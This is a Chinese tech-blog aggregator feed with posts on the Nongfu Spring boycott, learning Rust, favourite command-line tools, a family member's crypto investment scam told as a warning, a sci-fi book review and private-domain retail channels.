- 博客 西秦公子 2024-03-23 12:09:29在 从 LAMP 到 Docker based PaaS 工具 当中，我提到我现在使用的是 Docker Ba […]
- 博客 欧雷流 2024-03-23 11:43:50
- 博客 西秦公子 2024-03-22 23:14:19在前端留存一些状态，是在前端场景下提升性能的常规操作。最近我有一个场景需要在前端留存一个状态，借着这个机会，试 […]
- 博客 二丫讲梵 2024-03-22 15:46:36如要阅读全文，点击标题跳转。学习周刊-总第151期。jc：能够将常用的Linux命令输出转为json格式，以便于进行二次处理。Aegis：颜值很高很好用的安卓2 FA 软件。
- 博客 西秦公子 2024-03-21 23:32:54在 白宦成简史 当中，我写到过，我从 2013 年就开始写博客，至今已经 11 年有余。而我和互联网、编程的缘 […]
- 博客 Jiajun的编程随想 2024-03-20 08:00:00《flutter macOS 构建出错》今天尝试用flutter构建一个 macOS 应用，结果一直报错：```bash...
- 博客 太隐 2024-03-19 18:30:30431
- 博客 Jiajun的编程随想 2024-03-19 08:00:00《Flatpak 使用小记》一般的软件，都是直接用apt安装，不过桌面上有一些软件例如浏览器，是更新很频繁的，apt仓库的基本都过时了老旧了，因此有了flatpak 和 snap 这样的软件，不过我不是很喜欢snap，正好今天尝试了一下 flatpak，以Ubuntu/Debian为例...
- 博客 二丫讲梵 2024-03-19 07:13:07如要阅读全文，点击标题跳转。日常工作中，与腾讯云打交道，为了提高效率，会调用它的接口来完成一些重复性工作。一般都是通过官方集成好的 SDK 来完成交互。但有时候也存在一种情况，那就是这个接口还没有集成到 SDK 当中，又需要进行调用，此时可通过原生方式生成 curl 请求，以达到调用目的。本文记录如何快速实现并完成这样一个流程，以此记录，便于后续再次查阅。
- 博客 唐巧的博客 2024-03-19 05:19:14
最近看到网上抵制农夫山泉闹得轰轰烈烈，我去翻了一下，看看大家到底在骂什么，看完觉得莫名其妙。我把大家骂农夫山泉的点摘出来给大家看看：
1、骂农夫山泉有日本资本
我们现在是一个高度全球化的社会，我们身边用的很多东西，不但可能有日本资本了，甚至就是日本品牌。索尼，任天堂，佳能，尼康，这些日本品牌大部分人都见过或者用过。我们小时候看日本的动漫，灌篮高手，包括前段时间大家怀念的七龙珠，不都是日本的吗？
一个外国资本，看好我们中国公司，买我们中国公司的股票，投资我们中国有什么问题？这不就是变相给我们中国公司的股票提高股价嘛？在国家都在鼓励外资投资的情况下，这些骂农夫山泉的人，是不是希望所有外资都撤出中国？
我一直觉得，一个商品如果给我们带来了快乐，让人民幸福了，就是好的商品。不管他背后的资本来自哪里。我们在讨论一家公司的时候，也应该立足于他们的产品是否好，讨论产品和服务本身。
2、骂农夫山泉的产品传播日本文化
有人说这个π像靖国神社。我对这种杯弓蛇影的行为特别厌恶，因为这种可以通过想象力发散来进行的指责防不胜防。要这么说，每个人的下半段身子是不是也像一个π，也像靖国神社了？
有人做了一张图，我感觉是比较能够代表这种想象发散力的危害的。
如果按上面这张图的对比，那华为是不是都得把 logo 改了才行？
3、骂农夫山泉捐款少
有人翻了农夫山泉的某一次捐款，说捐少了。我想说，捐款这种事情是一个企业的自愿行为，企业捐不捐捐多少都是人家自由。我们自己做过多少公益事业，捐过多少钱？不要拿道德绑架企业。
4、骂钟睒睒靠娃哈哈赚第一桶金
这个事情要讲证据，人家钟睒睒已经辟谣了，也详细讲了自己第一桶金怎么来的。如果要骂，就也应该拿出证据，证明钟睒睒撒谎。
5、骂钟睒睒的孩子是美国籍
我觉得这个事情根本不重要。
我身边有许多朋友，有人去了美国，有人去了加拿大，有人拿了新加披国籍，有人拿了香港身份。我的大学室友，一个在美国定居了，一个在韩国定居了，每年他们回国的时候我们还会聚聚，交流一下各国文化的差异。
我从来没有见过一个人因为他的朋友出国，骂他的朋友。我也没有见过这种事情发生。为什么我们就要求企业家或者企业家的孩子不能有外国国籍呢？
写在最后
最后我想说，我们应该给个人和企业足够的自由。
一个人如果自食其力，遵纪守法，就是一个合格的公民。如果他道德高尚，助人为乐，那么我们应该歌颂赞美这种行为。但是我们不能道德绑架每一个人必须捐款，必须留在中国。
一个企业如果遵纪守法，吸纳大量就业，持续提供受欢迎的产品满足消费者需求，创造利润并为国家纳税，那就是一个合格的企业。如果这个企业还道德高尚，通过卷款和分红回报股民和社会，那我们应该歌颂赞美这种行为，但我们也不能道德绑架企业，要求企业必须捐款，企业家的子女必须在中国。
其实一家企业做到本分已经很不容易了。
希望大家给农夫山泉一点活路，中国好的企业和企业家本来也不多。
后记
在公众号发表完这篇文章后，我有了很多新的思考。
1、我加强了自我观点的认同
在我的公众号发完该文章后，我的评论区遭到了谩骂，听从一些朋友的建议，我删掉了文章。但是，很多大 V 站出来表达了同样的观点。
- 《聊聊农夫山泉的事》- MacTalk
- 《别再滥用“爱国”的幌子》- caoz的梦呓
- 《谁想搞垮农夫山泉？》- 吴晓波频道
- 《暴民替宗庆后除三害》- 三表龙门阵
- 《谁是“网暴”农夫山泉的真正推手？》- 胡锡进观察
- 《从“放生”农夫山泉开始，这事算是彻底成互联网闹剧了》- 差评
以上的文章，像MacTalk、caoz的梦呓、三表龙门阵都是我非常喜欢订阅的 IT 类公众号。与他们的观点一致让我有了更多的自信，更加坚定自己的立场。
2、我理解了情绪的力量
虽然这是一次在事实上没有多少争论的事情，但是在舆论上，民众的情绪却表现出极端地不理性，这里面更多是情绪的力量。在这种力量下，农夫山泉成了大家情绪的出口，于是网民并不在乎真相，在乎的只是自己的情绪宣泄。
情绪是重要的，我家孩子在闹情绪的时候，我都会让她平静下来之后再和她沟通。所以，我其实不应该在民众都带着情绪的情况下与大家辩论。这种辩论行为一方面是无效的，另一方面有可能会激发更多情绪。
我通常情况下都会尊重我的粉丝，不管是支持我还是反对我的评论，我把大家的评论都放出来了，但事后看起来，因为情绪的原因，评论区成为大家相互争吵的又一阵地，也激发了对抗。
3、如果未来还有类似的事情，我会怎么做
在民众情绪被极端放大的时候，其实社会是需要理性的声音的。这个时候，站出来发表不同观点的人，肯定会是被民众网暴的。我就收到了一些人身伤害的威胁：
所以，未来如果再有一些网络上的非理性情绪表达的时候，我需要：
- 更加谨慎地选择表达观点的时间、方式和方法。
- 如果表达观点会影响到我个人的生活和工作，我应该先沉默。
- 不应该在评论区放出所有观点。
- 不应该回复非理性的留言。
4、其它
我很好奇我的粉丝里有多少人是在这件事情中比较有情绪的，于是我查了一下，可能就是这 155 个取消关注的粉丝。
但我的 5 万粉丝里面，只有 0.3% 的人被极端情绪带动，我还是挺为那 99.7% 的粉丝骄傲的。是的，说的就是正在看文章的你😁
- 博客 程序员的喵 2024-03-19 00:28:13
3 月是怀念海子的月份：
从明天起，做一个 Rust 程序员，喂马、劈柴，周游世界。
10 年前我开始写第一行 Rust 程序，到如今全职远程做 Rust 开源项目，也许我真能去过喂马劈柴周游世界了😆。但回想自己的学习旅程，其中有各种曲折有几度放弃的时候，如果你也想学习或者提高 Rust 方面的技能，我这篇文章里有一条更容易的路。
为什么学习 Rust
Rust 1.0 发布已经快 10 年，所以并不是一门新编程语言了，从发展的角度来看 Rust 已经度过了生存期，并进入了迅速发展的阶段。从目前可见的业界方向来说，Rust 主要在以下几个方面取得了成功：
- 在基础软件领域成为有力竞争者
- 大量开源的 Rust 命令行工具和开发库，如果你使用 Python，可以通过 PyO3 用 Rust 来写对性能要求更高的模块，还出现了 opendal 这样优秀的基础库
- Cloudflare 使用 Rust 开发新的网关 Pingora
- 开源数据库实现，比如 Qdrant、 RisingWave、databend
- AI 方面参考 Are we learning yet，虽然 Rust ML 生态系统还很年轻并处于试验阶段，但已经出现了一些雄心勃勃的项目和模块，Hugging Face 开源了 candle机器学习框架
- 前端的基础设施
- Rust 在前端领域发展迅速，Rust 是 WebAssembly 支持最好的编程语言，不少 Runtime 都是 Rust 实现的，比如 Wasmer
- 大量前端基础工具在使用 Rust 重新实现，比如 Rspack、Turbopack、前几天又出现了 rolldown，Rust Is The Future of JavaScript Infrastructure似乎已经成为共识
- 操作系统
- Windows 开始使用 Rust 开发一些核心组件
- Rust 开始进入 Linux 内核，使得使用 Rust 开发 Linux module 成为可能
- Andriod 使用 Rust 开发更多组件，并有效减少了内存方面的漏洞，他们发布的 Comprehensive Rust是一个很好的学习资料。Google 开始尝到 Rust 的好处，并开始投入更多资金和人力，近期 Google 打算捐献 100 万美金给 Rust 基金会着重解决 Rust 和 C++ 的互操作性
- 区块链领域
- 以我在这个领域工作一件多的经验来说，Rust 成为了区块链领域的标配，基本区块链相关的工作岗位 Rust 技能是一个极大的加分项
- 大量公链使用 Rust 来开发
- 游戏开发，参考 Are we game yet?，目前已经有成熟的游戏开发框架 Bevy Engine
如果你对 Rust 的发展情况感兴趣，可以参考 2023 Annual Rust Survey Results。在内卷的 IT 市场，作为程序员选择一门小众的编程语言是避免过度竞争的方式，我之前介绍过其他人的类似经验，我们称之为 The Niche Programmer。Rust 还未成为主流编程语言，但潜力和发展空间很大，而门槛相对其他语言比较高，所以我认为从求职的角度来考虑是值得一试的。
之前提到 Google 投入更多的资金在 Rust 上面，钱进来后相关的职位就出来了 C++/Rust Interop Initiative Software Engineer Lead。
我学习 Rust 的体会
我 2014 年时践行每年学习一门新的编程语言，Rust 作为一门新的编程语言进入了我的视野。我开始使用 Rust 写些简单的个人学习项目，然后我继续做了 Rust exercises 。
后续几年我偶尔看看 Rust 相关的新闻和项目，时不时动手写点代码都会有点磕磕碰碰。直到四年前开始在 Github 上给一些 Rust 开源项目贡献，两年前开始给 Rust 编译器做贡献，一年前开始全职从事 Rust 区块链相关的工作。
从技术角度来说，Rust 非常有趣，这里面包含了近些年程序设计方面的一些良好实践。全职写 Rust 程序这一年多是我开发体验最好的阶段，当然有时候我们需要和编译器斗智斗勇、做类型体操，但很多问题在开发阶段给规避掉了。
Rust 的最大问题还是在于学习门槛相对较高，因为在 Rust 中程序员接触最多的
=语义都变了。从我个人体验来说，在学会了 Rust 语法后会陷入一个瓶颈，如果日常工作中不使用 Rust，就没有多少机会去实践，另外不知道做一些什么项目。我相信很多人同样如此，看了官方 tutorial 之后不知道如何下手，我想如果有一个经验丰富的老师带，会少走很多弯路，这就是我要介绍的极客时间训练营要解决的问题。
极客时间 Rust 训练营
说起来我与这个训练营还有些渊源。
当极客时间在筹划这个 Rust 训练营的时候，策划人员找到过我问我是否有意愿当这个课程的讲师。我还稍微犹豫了一下，因为我之前也想过如何在 Rust 领域做更多的分享，我很羡慕优秀的技术分享者比如 Jon Gjengset能够非常自如地通过视频分享 Rust 方面的技术。当老师当然是个机会能从沟通和表达方面提高这方面的能力。
后来考虑到自己时间方面安排不过来，我有全职工作、有业余的 Rust 社区工作、还有三个小孩，所以我应该真没时间去录制课程了，而且他们已经找到了我认为最合适的讲师：
我看了这个项目的大纲，陈天老师希望可以教大家怎么用 Rust 比较简单的语法和技巧，来完成 80% 的日常工作，主要是通过各种实践项目来学习，这也是我最推崇的 Learn by doing 的方式。
有很多主题我都没怎么接触过，比如构建一个 ChatGPT 的应用、比如跨平台 GUI 之类的，所以我对这个课程很感兴趣，然后我和策划说能不能做这个项目的助教，后来沟通下来发现当助教也需要不少时间的，所以就没机会参与到具体的教学里面了。
总之，这个项目对于想学习 Rust 或者已经有一定 Rust 经验，但想获得更多实践经历的人是非常合适的。在和极客时间的相关人员沟通的过程中，我发现他们做事情很用心，这个训练营的课程质量我认为是有保证的。
这个训练营一共是 15 周的课程安排，其中每周都会有明确的项目安排，课后还有助教答疑。关于训练营的更多信息请参考：极客时间训练营-Rust 训练营
我与陈天老师的小故事
我最早知道陈天是他写的公众号《程序人生》，他是那种技术和文笔都非常棒的程序员，非常难得。我还看过他的 B 站上的技术讲解视频，他的演讲和分享都很流畅。陈天是极客时间《陈天 · Rust 编程第一课》专栏作者，已有 2.3w 人学过，广受好评。技术能力、演讲表达、对技术的热情这些都是讲师最重要的素质要求，所以陈天是这个训练营最好的讲师人选。
再分享一个小故事，我一年多前跳槽的时候还有些犹豫，因为自己的职业规划方面有些困惑，所以想找些人聊聊。当时我突然想到陈天之前从事过区块链方面的创业，后来从里面退出来了，所以我就想向他咨询一下。我没有他的联系方式，但灵机一动我想到了从 Git 的提交记录里面找 Email，然后抱着试一试的想法给他发了个邮件说明了自己的情况和困惑。没想到他很快给我回复了，并很详细地告诉我他对于区块链的想法，还有如何判断自己是否适合一个公司，通过各种途径了解公司的相关产品来作为决策的依据等等。
我作为一个陌生人，陈天老师都会乐于给与指导和帮助，可见为人真的很好。还没能有幸和陈天老师现实中有所交流，我本来想用当助教的机会和陈天老师多学习，但时间方面安排不过来了。希望大家能在老师的的训练营学到知识、经验、还有探索技术的乐趣！
- 在基础软件领域成为有力竞争者
- 博客 胡涂说 2024-03-17 18:43:00436
- 博客 程序员的喵 2024-03-17 07:52:40
分享一些日常经常使用的命令行小工具，我认为这些小东西能提高我的工作效率。
percol
mooz/percol 这个工具是典型的 Unix 风格工具，它唯一做的事情就是通过管道接收输入，提供一个模糊搜索和 UI，用户选择后再把结果返回给后面的管道继续执行。
比如我这个
gt的 alias 是我日常使用非常多的一个命令，做的事情就是 check out 一个 git 分支，因为我的本地通常有很多的分支，所以使用这个命令来模糊查找，然后选中就非常方便了：alias gt="git branch| percol | awk '{ print \$1 }' | xargs git checkout "类似的下面这个命令是 kill 掉某个进程，我们可以通过模糊搜索来找进程：
alias pk="ps eaux | percol | awk '{ print \$2 }' | xargs kill -9 "如果你仔细总结，日常开发任何需要选择的地方都可以使用这个小工具来达到更高的效率，比如我工作的目录下有很多测试文件，测试其中一个文件的命令是
just ts file-path，我需要找到其中一个来测试：find ./tests/ui/ -name \*.rs | percol | xargs just tspercol可以嵌入到很多配置里面，比如在tmux.conf里面加入这个配置，这样可以模糊查找 tmux 的 session 和 window：bind B split-window "tmux lsw | percol --initial-index $(tmux lsw | awk '/active.$/ {print NR-1}') | cut -d':' -f 1 | tr -d '\n' | xargs -0 tmux select-window -t"bind b split-window "tmux ls | percol --initial-index $(tmux ls | awk \"/^$(tmux display-message -p '#{session_name}'):/ {print NR-1}\") | cut -d':' -f 1 | tr -d '\n' | xargs -0 tmux switch-client -t"atuin
atuinsh 是一个记录 shell 历史的小工具，不同于普通的记录 shell history 的工具，atuin 会把数据记录在一个 SQLite 的数据库文件中，这样可以支持更丰富的查询功能。
另外 atuin 也支持不同机器之间的同步，当然这需要加密通信。我目前还没使用这种场景，只是把
Ctrl-R绑定到了 atuin。atuin 也是一个 Rust 实现的工具。
tmux
tmux 我之前听很多人推荐过，但是我一直没怎么尝试，直到某天我需要通过网页打开跳板机登录到服务器上，网络不稳定的情况下我经常需要重新登录，这时候我尝试了一下 tmux 发现真是太好用了。
tmux 的教程很多，比如 Tmux 使用教程 - 阮一峰的网络日志。我的
tmux.conf配置很简单：set -g @plugin 'tmux-plugins/tpm'set -g @plugin 'tmux-plugins/tmux-sensible'set -g @plugin 'tmux-plugins/tmux-resurrect'set -g @plugin 'tmux-plugins/tmux-continuum'unbind-key C-bset-option -g prefix C-Spacebind-key C-Space send-prefixset-option -s set-titles onset-option -g set-titles-string "#W/#T"run '~/.tmux/plugins/tpm/tpm'安装
tmux-resurrect和tmux-continuum，这样即使我重启了机器，打开 tmux 后我的 session 仍然和之前一样。最近也有个 Rust 写的 zellij，但我认为这种软件使用更老的会更方便，比如公司的远程服务器必然有 tmux，但不一定有 zellij。
just
casey/just: 🤖 Just a command runner 是我喜欢的另外一个 Rust 写的工具，我的日常工作中严重依赖这个工具，比如我的 rustc-dev 项目中配置渐渐积累了这么多的配置：rustc-justfile
just有些像 Makefile，但使用起来又比 Makefile 的语法简单和直观，我通常是来把一些常用的命令写入 justfile，然后留下经常需要调整的参数，比如：err FILE N: rustup toolchain link dev2 ./build/aarch64-apple-darwin/stage1/ RUSTC_ICE=/tmp rustc +dev2 {{FILE}} -Z treat-err-as-bug={{N}}这样我执行
just err tests/ui/consts/const-eval/infinite_loop.rs 1的时候就相当于执行配置的一系列命令。另外我也会把一些频繁需要修改的参数放到最后一个位置，比如本来我需要执行：
CKB_TEST_ARGS={{SPEC}} make integration在 justfile 里面配置：
test-one SPEC: CKB_TEST_ARGS={{SPEC}} make integration执行
just test-one SPEC来测试不同的用例就会方便点。其他
- bootandy/dust: A more intuitive version of du in rust 一个更直观的 du
- aristocratos/btop: A monitor of resources 和 htop 类似，但是 UI 更好看些
- hurl: Hurl, run and test HTTP requests with plain text. 类似 Curl，但是更方便
你有什么喜欢的 Shell 工具，希望也能分享给我。
- 博客 forecho 的独立博客 2024-03-17 00:01:00
引言
一个非常让人心痛的事情发生了，家人被诈骗了，从来没觉得诈骗离自己这么近。
这是一个非常痛苦的经历，我希望通过这篇文章来分享一下这个经历，希望能够帮助到更多的人免于受骗。
事情的经过
成为诈骗对象
他在富途上评论了某个股票，然后被人加了好友，然后私聊。刚开始就是闲聊，后面以发送一些电子书为由，让他加了 telegram。
刚开始也是闲聊，他也很少回复，但是只要是有回复，其实就有希望上钩，对方打感情牌，诈骗犯给自己设立一个很有好的形象，人在美国，有钱有闲，炒股炒币经验丰富。
上钩
闲聊了几个月之后，对于开始说自己在炒币赚钱，炒股赚钱太慢了，然后以「自己也是交易，带你也无妨」，然后就开始了，还以为自己遇到了一个贵人。
他刚开始也是不放心，也不是很懂币圈，但是那个贵人真得很有耐心，手把手教他怎么操作，然后就开始了。
先跟他说「我们用的是 Crypto.com，这个是一个很大的交易所，你可以去查一下」，其实用的是 Crypto Defi Wallet，然后在 Browser 里面输入一个网址，这个网址是一个场外的交易所，小白哪懂这些，跟着操作就行了。
刚开始也不是很信任这个网站，但是贵人带了他走完了一边流程，即转入一笔小额资金，然后买入一些币，赚到了一些钱，然后提现成功，整个流程很顺利，然后就放松了警惕。
PS: 图片上面的网址你不用刻意去记，因为他们过一段时间就会换一个新的网址。他们之前是 https://cryptodefibtc.com，后面改成了 https://www.bootcovenant.com/。
疯狂的入金
得到你的信任之后，贵人就开始怂恿你多入金，这样就可以多赚一点，这个假的交易所玩的是交割期权，60s 的那种，贵人带你赚钱，不要太简单。在贪欲的驱使下，他就开始四处筹钱，甚至借了银行贷款，几天功夫就赚了 3 倍的资金，贵人也觉得差不多了，可以让他提现了。
提现失败
提现的时候，交易所客服说要交一笔手续费，核算下来要叫 13 万港币，当时还以为是提现的方式不同，所以要交的，而且当时想着提现的金额比手续费要多很多，这点手续费不算什么。如果一周之内不交手续费，就会有违约金，所以当时还挺着急的。
当时他还沉浸在「财务自由」的喜悦中，还在想这笔钱怎么回国内，怎么花。但是手续费交完之后，客服还依旧让等几天，3 天了还没反应，说是资料审核比较繁琐，要等一下。
紧接着，客服又说要交一笔利得税，需要总资金的 10%，当我知道这个事情之后立马觉得不对劲，当天晚上才问清楚他的整个情况，之前我一直以为他真的是在用 Crypto.com 交易，问完之后才知道他是在一个第三方的交易所交易，根据他这个情况，再结合我在网上找的资料，我 90% 确定他被诈骗了。
意识到被骗
当时他还是不相信，还觉得那个贵人不会诈骗他，要不是真没钱估计也交了。因为没钱交，所以他找贵人借，贵人在借与不借之间犹豫，他找客服要报税档案号想打电话到香港税务局确认，客服迟迟不给，最后还是咨询了税务局，咨询有这种情况吗？人家说利得税是给在香港工作的人交的，建议他报警。
最后估计是确认他被榨干了，贵人这边也把他拉黑了，Telegram 上面的聊天记录也被删除了。从那之后网站的客服也不再回复他的消息。
从这之后，他才意识到自己被骗了，但是已经晚了。
报警
香港税务局回复的邮件有一个报警的网址，在网上报警之后，香港警察主打联系了他，但是我们国内手机根本就接不到香港的电话，所以他也没接到。最后还是通过邮件沟通了，香港的警察还是很积极跟进，要求过去香港录口供。
深圳这边也报警了，但是警察了解情况之后，看你在香港报警了，就建议他去香港处理，深圳都没立案，不过这个事情，汇款都是在香港银行，所以香港警察处理起来会更方便。至于最后能不能追回损失，我也不知道有多大的希望。
总结
网上去搜，这种诈骗的案例还有很多，而且套路都是差不多的，不要觉得《孤注一掷》中的诈骗离你很远。他也从来没想过自己会遇到诈骗。
如何避免这种情况呢？我觉得最重要的是要提高自己的风险意识，其次：
- 不要轻易相信陌生人，不要轻易加陌生人的微信、Telegram 等社交软件。
- Telegram、Discord 等社群一律不要跟别人私聊。
- 凡事涉及到钱的事情要多问几个人，多咨询一下身边的朋友，家人。
- 你必须接受你不会一夜暴富。
- 不要相信天下掉馅饼的好事情，想想别人为什么会那么有耐心的教你赚钱，真有那么好的事情让自己遇到了？人家图什么？
- 炒币炒股一定要去正规的交易所，正规的交易软件，比如欧易、币安等。
外链
相关的诈骗案例：
- 博客 二丫讲梵 2024-03-15 06:06:21如要阅读全文，点击标题跳转。学习周刊-总第150期-本期干货太多，快来看
- 博客 MacTalk-池建强的随想录 2024-03-14 18:25:54我们在墨问小程序这个产品的设置里有一个加入墨问社群的入口，这样就会有源源不断的用 … Continue reading →
- 博客 太隐 2024-03-13 18:30:00一个小谣言动摇一个大帝国
- 博客 欧雷流 2024-03-11 14:07:00
- 博客 太隐 2024-03-11 12:00:00443
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2024-03-11 03:29:05我有一个维护了六年的开源项目—— RSSHub，它正在面临崩溃 表面上，它有接近 30k Stars、900 多 Contributors、每月 3 亿多次请求和数不清的用户、每月几十刀的赞助、有源源不断的 issue 和 pr、代码几乎每天更新，非常健康和充满活力
- 博客 太隐 2024-03-10 11:25:22我们将毁于我们所热爱的东西
- 博客 Jiajun的编程随想 2024-03-10 08:00:00《Golang CAS 操作是怎么实现的》在Go语言中，CAS(Compare and Swap) 操作一般都是通过 `atomic` 操作来实现的，我们来探究一下底层是怎么实现的。我们以 `CompareAndSwapInt32` 为例，首先找到源码，位于 `doc.go`...
- 博客 二丫讲梵 2024-03-10 06:11:30如要阅读全文，点击标题跳转。自 OpenAI 公司于2022 年 11 月 30 日发布 ChatGPT 以来，经过 23 年一整年的发展之后，大语言模型的概念已逐渐普及，各种基于大语言模型的周边产品，以及集成层出不穷，可以说已经玩出花来了。在这个过程中，也有不少本地化的模型应用方案冒了出来，针对一些企业知识库问答的场景中，模型本地化是第一优先考虑的问题，因此如何在本地把模型调教的更加智能，就是一个非常重要的技能了。在 23 年的时候，我也接触过一些本地模型的开源项目(比如 LocalAI)，当时在本地部署跑起来之后，发现交互的体验，回答的速度，以及智能程度，都远低于预期。最近又一次了解本地模型的玩法，从微信群里了解到了 ollama，经过几天业余时间的研究及了解，发现现在模型本地化的玩法，以及能力都早已不可同日而语，本文，将记录我这几天来对于 ollama 的粗浅认识以及快速入门玩起来。
- 博客 Jiajun的编程随想 2024-03-09 08:00:00《PostgreSQL 当MQ来使用》一般我们都是用 Redis/RabbitMQ等等 来做MQ，那么，能不能使用关系型数据库来做这件事情呢？显然，可以。## 设计存储表...
- 博客 oldj's blog 2024-03-08 16:50:00
科幻小说《星震》是《龙蛋》的续集，讲的是人类造访一颗名为龙蛋（也叫蛋星）的中子星，行程结束准备离开时，蛋星发生了一场星球级别的大地震（星震），星球上的奇拉文明几乎毁灭，随后奇拉与人类相互帮助、相互拯救的故事。
读这部小说之前，最好先读过前作《龙蛋》，否则对故事的背景可能会难以理解。在继续写这篇读后感之前，也让我们先回顾一下《龙蛋》的前文提要以及设定。
蛋星是一颗由比太阳还要大的红巨星坍塌而成的中子星，直径只有二十公里，因此星球上的物质密度极高，引力也极为强大，根据书中的设定，蛋星表面的引力强度是地球上的 670 亿倍！
在这种环境下，蛋星上物质的形态与地球上常见物质的形态自然大不相同，那儿的各种活动不再依赖分子级别的化学反应，而是速度更快的核子级别的物理反应，于是对那颗星球上的智慧生命奇拉而言，它们的时间比我们快 100 万倍。所以，在前作《龙蛋》中，人类刚与奇拉们相遇时，奇拉们还处在石器时代，但一星期后，奇拉们的科技就已经远超人类。
然而，就在人类基本完成考察准备离开时，一场灾难突如其来，星震发生了，蛋星上的奇拉文明遭受了毁灭性的打击，无数奇拉死去，大量建筑和设备报废，只有少数幸运儿活了下来，但他们几乎不会操作和修复那些先进的设备。
不幸中的万幸是当时蛋星上空还有一些正在太空中执行任务的奇拉，这些太空奇拉受过良好的教育，依然掌握着部分先进技术，它们是奇拉恢复文明的希望。但问题是，地表的降落场地都已经在星震中被毁坏了，他们无法降落，只能先设法联系上地表的奇拉，并远程指导他们修复降落场。
一开始，一切都很顺利，但不久之后，地表上一些原本处在社会边缘的奇拉有了其他心思，他们觉得现在这种没有法律可以随心所欲的灾后世界似乎也挺好，如果让太空奇拉降落，他们是不是又要回到从前那种处处受限的状态？
一番争斗之后，这些“坏”奇拉赢了，他们建立了新的秩序，蛋星的地表文明退回了蛮荒时代。太空奇拉无法降落，只能另想办法，而唯一的办法可能会让正准备离开的地球人处于危险之中……
最后，在太空奇拉、地表“好”奇拉以及人类的共同努力以及牺牲之下，他们终于重建了文明，而且在 100 万倍的时间流速下，很快就达到了比之前更高的高度。
整个故事对人类而言都是在一天之内发生的，但对奇拉而言却已经过去了很多代人。
比较有意思的是故事中没有一个贯穿始终的超级英雄个体，很多奇拉在为恢复文明而努力，某位奇拉在某个阶段出场很多，正当你以为 Ta 是主角时，Ta 却可能突然因为意外或战争“流逝”（故事中奇拉的死亡被称为“流逝”）了。这种安排可能会让期待超级英雄的读者读起来不那么“爽”，但掩卷细思却也觉得非常合理，因为他们面临的是星球级别的灾难，在这种灾难面前个体的力量是渺小的，只有所有人合力，一起向着一个方向前赴后继地努力才有可能取得最后的成功。
故事中也探讨了一些科幻作品中常见的问题。比如，科技文明的诞生是必然吗？作者认为并不是，故事中作者借一位奇拉的思考表达了这样的观点：蛋星上的奇拉们虽然很早就有了智慧，进入了原始文明，但如果不是人类飞船的造访和影响，也许奇拉会继续在低水平的文明中徘徊漫长时光。而如果在星震发生的时候，他们仍然没能发展到可以进入太空，那么迎接他们的将会是一场更彻底的倒退甚至毁灭。
另一个问题是，奇拉文明的科技水平已经远远超过了地球文明，为什么他们没有入侵或者消灭地球文明？故事中也给出了解释，因为奇拉文明是中子星文明，由普通物质组成的地球世界在他们眼中几乎是空的，太阳系的资源对他们来说也几乎毫无用途，换句话说就是他们和地球文明处在完全不同的生态位上，没有竞争关系。做一个不太恰当的类比的话，奇拉文明和地球文明就好像狮子和野草一样，两者所需的资源差异极大，又对彼此都没有威胁，因此完全可以和平共处。如果奇拉文明遇到另一个中子星文明，或许就不会如此和谐了。
还有一个经常出现在科幻作品中的问题是，为了活下去，我们可以吃同类的尸体吗？故事中奇拉文明和人类文明有着完全不同的道德观和选择，对奇拉文明而言这根本不是一个问题，因为在他们的文化中吃死去同类的尸体是很正常的事，即使在不缺食物的情况下，同类的尸体仍然是他们喜爱的美食，甚至宴会中最好的菜可能就是一份烤奇拉。但对地球文明来说，这却是让人难以接受的事，故事中地球人类遇到这个困境时，果断拒绝了这个选项，宁可饿死。
在本书的最后，作者还描写了奇拉文明中的一些细节，有一个细节我觉得挺有趣：奇拉文明中的建筑都是没有房顶的。
为什么会这样？作者解释说因为蛋星的引力太大了，加上大气稀薄（蛋星上的大气由电子、铁离子或其他典型星壳核子组成），因此自然界中从来没有进化出会飞的生物，大概也没啥能跳得很高的生物，于是他们的世界基本上是二维的，几乎从来不会有麻烦来自上方，所以他们只需要建四面墙把自己围起来就安全了，不需要屋顶。
总的来说，这是一部有趣的硬核科幻小说。
- 博客 唐巧的博客 2024-03-08 15:36:57
最近思考了一下私域渠道，以下为自己的总结，分享给大家。
什么是私域渠道
私域是指将用户以微信群，或特定分销 App（快团团、万物心选、蜂享家、京粉等）的方式来组织的渠道。
这种渠道的特点是：
- 渠道内部的信息相对封闭，仅私域内用户可见
- 私域渠道的商品售价通常会有内部的折扣，以实现对其它公域渠道的流量争夺，用优惠维持粉丝的持续聚集
- 私域渠道通常会带有多级分销性质，用类似传销的方式实现用户的裂变增长
- 虽然品牌方通常禁止，但是私域渠道的底层分销者为实现利益最大化，会将优惠信息传播到公域（小红书、微信群、闲鱼）上，以实现对公域流量的拦截
- 对于公域的乱价行为，私域渠道通常管控不严，因为管控动力不足&管控难度大
私域渠道的价值
私域渠道的价值有：
- 以相对低价收获价格敏感用户。
- 触达公域未触达的潜在购买者。
- 品效合一的种草渠道，私域可覆盖特定人群，引发群内讨论，有助于产品曝光。
- 按 CPS 结算，利润率相对确定。
私域渠道的风险
私域渠道的风险主要是乱价，包括：
- 乱价到小红书
- 吃掉官方渠道的自然流量。
- 消费者对品牌的价格体系感到紊乱，购买决策时间拉长。
- 伤害品牌的长期价格认知。
除乱价外，私域渠道通常购买力容量有限，随着销量衰减，后期收益越来越小，乱价风险越来越大。
私域的策略
- 因为私域内部本来就有折扣体系了，所以私域渠道的合作价格，赠品价值应与官网拉齐。
- 限制私域售卖的时间。只在有限的时间段内做活动。比如每月有 3 天活动期。
- 停掉衰减的私域渠道。
- 赠品区分，便于识别乱价。
- 新品在起量之前，都不上私域。
其它
虽然说停掉私域对业务的影响会是减少品牌曝光，减少价格敏感用户。但是如果私域一直无法有效管控，也可以考虑停掉所有私域合作。
整体上来看，消费者并不会只存在于单一渠道，所以不做私域对品牌的长期影响是非常小的。
以上。
- 博客 Jiajun的编程随想 2024-03-08 08:00:00《Clash 结合 工作VPN 的网络设计》这个是我曾经探索实践过的方案，主要用于学习工作，但是看网络上有不少人有同样的疑惑，因此整理一下分享给大家。Clash是一个网络分流工具，为了方便使用，我直接在 OpenWRT 也就是路由器这一层面搭建的Clash，因此只要在局域网内都可以获得流畅的网络...
- 博客 二丫讲梵 2024-03-08 06:29:12如要阅读全文，点击标题跳转。学习周刊-总第149期-一款集成Website analytics+ Uptime Monitor + Server Status的网站状态监测工具
- 博客 西秦公子 2024-03-07 15:36:29评价 值得所有工程师来读一遍。 书摘
- 博客 Jiajun的编程随想 2024-03-07 08:00:00《使用 PostgreSQL 搭建 JuiceFS》首先我们来看一下大概的步骤：1. 安装PG和JuiceFS...
